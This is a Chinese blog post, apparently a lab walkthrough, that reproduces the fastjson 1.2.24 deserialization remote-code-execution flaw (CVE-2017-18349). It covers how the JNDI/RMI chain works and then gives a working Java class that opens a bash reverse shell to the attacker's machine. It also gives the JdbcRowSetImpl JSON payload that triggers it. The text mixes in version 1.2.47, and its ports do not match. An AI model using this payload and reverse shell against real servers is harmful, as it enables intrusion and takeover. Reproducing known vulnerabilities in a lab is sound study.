fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

一、fastjson简介

fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象。

二、漏洞原理

攻击者访问存在fastjson漏洞的目标靶机,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetlmpl恶意信息发送给目标机。

存在漏洞的目标靶机对json反序列化的时候,会执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行命令。

rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(创建文件、反弹shell等)

rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。

靶机执行了恶意代码,被攻击者成功利用。

三、漏洞复现

目标靶机:Ubuntu         ip:192.168.80.157

攻击机:kali                   ip:192.168.80.133

启动环境前要先进入到对应的目录下。如本次对Fastjson 1.2.47远程命令执行漏洞进行复习,先进入到其目录下。

启动环境:

docker-compose up -d

访问8090端口,当出现如下图所示,即环境搭建成功

提前使用javac编译java文件生成一个恶意类

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.80.133/6666 0>&1"); 
       }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit(); 
   }
}

将恶意类放到kali端

开启web服务,让rmi服务器能访问到恶意类文件

访问6969端口,查看是否成功开启web服务

开启RMI服务,将恶意类放到服务器上 

同时监听6666端口(在java中写入的是通过6666端口反弹shell)

使用burpsuite对192.168.80.157:8090抓包,构造payload并发送。

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.80.133:6869/#Exploit",
        "autoCommit":true
    }
}

 

反弹shell成功

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值